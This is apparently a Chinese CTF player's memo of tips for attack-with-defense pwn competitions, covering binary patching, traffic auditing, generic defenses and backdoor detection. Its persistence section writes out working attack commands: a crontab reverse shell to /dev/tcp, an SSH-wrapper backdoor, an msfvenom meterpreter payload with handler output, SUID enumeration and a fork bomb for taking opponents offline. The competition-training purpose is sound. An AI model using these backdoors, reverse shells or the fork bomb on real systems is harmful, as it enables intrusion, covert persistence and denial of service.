cover

去年参加了不少线下赛,总结一些pwn方向打awd的小技巧,当作备忘。

打Patch

拿到题目的第一步是备份,然后是看题找漏洞,找到漏洞的第一步是打patch把漏洞修好,然后再写利用。

一般打patch有两种方式,一是你把打好patch的二进制交给主办方,主办方帮你替换文件,打patch的字节数有一定限制,你不能大改特改或上通防,比如国赛、强网杯线下;二是自己scp把文件传过去,比如湖湘杯、上海大学生赛,我记得去年的湖湘杯是可以大改特改,上海赛会检查选手的服务器,改的太多会警告。

Patch方法很多,一般改动小的话我就用IDA直接修改,改动大的用LIEF。打完patch运行检查一下,要不部署上去服务直接down了得不偿失。

IDA

IDA patch方法可以看我这篇 https://q1iq.top/IDA-patch/

LIEF

LIEF 安装:

pip install setuptools --upgrade 
sudo pip install lief     

工具的官方文档:https://lief.quarkslab.com/doc/latest/index.html

e3pem大佬的博客:线下赛patch工具介绍 | 线下赛patch实战

审流量

awd拼的就是手速,拼做题的手速和抄流量的手速。如果场上有对手已经开始得分了,那就快抄他的流量。

赛制里会写主办方提供或不提供流量。提供流量的话一般在一血过后一段时间给流量,格式为pcap。如果不提供流量的话,在赛制没限制的情况下 可以用通防劫持流量,不可以用通防的话可以用tcpdump,但是很难审计。

tcpdump -i eth0 -w test.pcap

审计流量包的工具有wireshark、pyshark等,wireshark常用命令:

data contains flag  //含flag字符串
tcp.port == 8000  //特定端口
ip.src_host==192.168.1.104 //特定ip
tcp.stream eq 0 //特定tcp流

过滤到敏感字符串后右键->Follow->TCP Stream,然后就是抄,可以手抄可以脚本抄。我准备过几次抄流量的脚本,但是最后都没用上,我总结一下原因可能有两个,一是因为流量里有地址偏移要算,直接用脚本抄流量往往会漏掉一些地址,而这些地址又非常关键;二是pwn题太精细了,有时候做目录题多输一个回车一个空格都不行,而且它必须是你来我往的交互,问一句答一句,而流量往往有一些偏差,比如两次发送的流量合成一个包了,问一句答了两句,后面就全乱了。总而言之,我个人觉得最快的方法是看懂流量的逻辑然后把题做出来,抄流量然后de流量的bug反而比较慢。(要是有好的抄流量脚本开源了请踢我谢谢)

有的队伍比较会玩,他们发成千上万的垃圾流量出来,里面充满了flag、/bin/sh、地址、open read write、各类shellcode,我还见过在pwn题里发一句话木马的,不过最恶心的还是那种,正常交互半天最后cat flag看着特别像exp但实际上是垃圾的流量。这时候搜关键字就没用了,就只有笨办法。我的笨办法是,在Follow TCP Stream这个页面里从Stream 0一直审,审到哪个像exp就拿下来抄。

上通防

通防是通用防御的简称。因为awd里pwn题的形式基本都是运行一个二进制,然后把二进制的流量转发到某个端口,所以如果给这个pwn题加个壳子过滤一下流量,所有带flag的字符串都不允许输出,所有带flag的文件都不允许打开,基本上就没办法攻击了。

现在大部分比赛都不可以上通防,因为通防基本可以实现完美防御,选手们都上通防的话这比赛就毫无体验感而言了,互相都打不了对方。所以很多比赛要求提交patch后的文件也是为了避免通防。如果赛制没限制通防,必须把通防上上,如果恰巧你的对手又很新手不知道通防这回事,那你将主宰这场比赛。

通用防御主要的原理是:

  • 输出的字符中有flag就过滤
  • 打开文件名中有flag就过滤

主要的实现有:

  • Ptrace,劫持敏感syscall,检查参数过滤敏感字符串,几个开源的通防项目:

  • Seccomp沙盒,劫持syscall,无法过滤指针类参数

  • LIEF实现,劫持敏感函数调用,过滤敏感字符串,这个对原文件改动最小

自动利用框架

  • 自动利用漏洞,对指定ip段自动执行利用脚本拿flag,多线程
  • 自动提交flag,一般主办方会给提交flag的ip和token
  • 发送垃圾流量
  • 权限维持
  • 动态重载利用脚本,importlib.reload

权限维持

Root提权

  • 内核漏洞利用提权。查找目标系统是否有公开的漏洞利用,有的话编译exp利用,通常exp会生成一个root shell或修改root密码
https://github.com/mzet-/linux-exploit-suggester
  • root的crontab
/etc/crontab (System-wide)
/var/spool/cron/crontabs/<username> (user)
/etc/cron.d/ (System)
  • 带s权限的文件(sudo)

https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

使用如下命令查看suid文件列表:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

Root后维持权限

  • Rootkit/msf
https://github.com/naworkcaj/bdvl
https://github.com/f0rb1dd3n/Reptile
https://github.com/d30sa1/RootKits-List-Download
https://github.com/rapid7/metasploit-framework
  • Crontab后门,每分钟反弹shell到 127.0.0.1的5353端口
(crontab -l;printf "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/5353 0>&1'\n")|crontab -

image-20220525210454298

SSH Wrapper

//后门
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN)=~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
//攻击端 ip替换成被攻击的
socat STDIO TCP4:127.0.0.1:22,sourceport=13377 

image-20220525025139849

普通权限后门

Metasploit https://github.com/rapid7/metasploit-framework

生成后门

msfvenom -p linux/x64/meterpreter/reverse_tcp  LHOST=127.0.0.1 LPORT=6666 -f elf -o ./backdoor

写入后门(count是backdoor文件的大小)

dd of=/tmp/bd iflag=count_bytes,fullblock count=123
chmod +x /tmp/bd && nohup /tmp/bd >/dev/null &

连接后门

msf > use multi/handler
msf exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lport 6666
lport => 6666
msf exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:6666
msf5 exploit(multi/handler) > 
[*] Sending stage (3012516 bytes) to 127.0.0.1 
[*] Meterpreter session 1 opened (127.0.0.1:6666 -> 127.0.0.1:36342) at 2020-06- 12 06:47:34 -0700

后门发现

检查可疑文件/文件夹。/tmp目录下用户和组和pwn题相同的文件比较可疑,创建时间是比赛期间的比较可疑。检查定时文件、ssh、passwd。

ls -Al /tmp
/etc/crontab (System-wide)
/var/spool/cron/crontabs/<username> (user)
/etc/cron.d/ (System)
~/.ssh/authorized_keys
/etc/ssh/sshd_config
/etc/passwd

检查网络连接,题目端口和ssh的22端口是LISTEN状态是正常的。可疑的连接:

  • 目标IP是选手段且端口不是题目端口
  • 目标IP是提交flag服务器的连接
netstat -anp
-a: 显示全部sockets
-n: 显示数字化的IP地址
-p: 显示该端口对应监听的进程
ss -anput
-a: 显示全部sockets
-n: 显示数字化的IP地址
-p: 显示该端口对应监听的进程 -u: 显示udp
-t: 显示tcp

检查进程。 可疑进程:

  • 用户和组和pwn题相同的进程
  • 进程pid很大,通常是新进程
  • 进程路径在/tmp /bin /usr/local/bin等非正常目录
  • 进程文件创建时间是比赛当天且不是题目进程
  • 周期性启动的进程和链接
  • 父进程是crond的进程
ps --forest -fG pwn
--forest: ascii树状展示列表
-f: 显示进程的全部信息
-G: 指定要过滤的group,通常是pwn组 

检查模块。

lsmod
rmmod xx//卸载可疑模块

ps:赛中赛后分析后门,利用该后门攻击其他队伍。

其他

一般主办方会给每个队提供连内网的网线,所以电脑得有网口或者自备转接线/拓展坞。网线最好也自备两根。

禁术-fork炸弹,死循环fork新进程迅速耗尽对方资源,使对方服务器下线,过不了checker,全场得分。

:(){ :|: & };:

禁术-DOS,使对方服务下线,一般不允许。

后记

从去年到现在,跟战队一起打了许多线下赛,重庆的钓鱼城杯,郑州的强网杯线下,武汉的国赛决赛,长沙的湖湘杯,上海大学生赛,北京的ByteCTF决赛和wctf决赛,比赛的经验积累了许多,回忆也积累了许多,印象最深的就是上海赛了,就我一个pwn手最后还拿了全场第一,还被请上台发言,当时觉得自己简直太牛了;后来wctf又被爆锤,一个题没做出来,虽然我也明白wctf的题和上海赛的题根本不是一个水平的;湖湘杯也是扑街,因为去了才知道赛制是先把web通关了才能玩pwn。还记得一起买茶颜悦色喝,确实好喝,一起吃的火锅和地方特色菜,确实不错。over。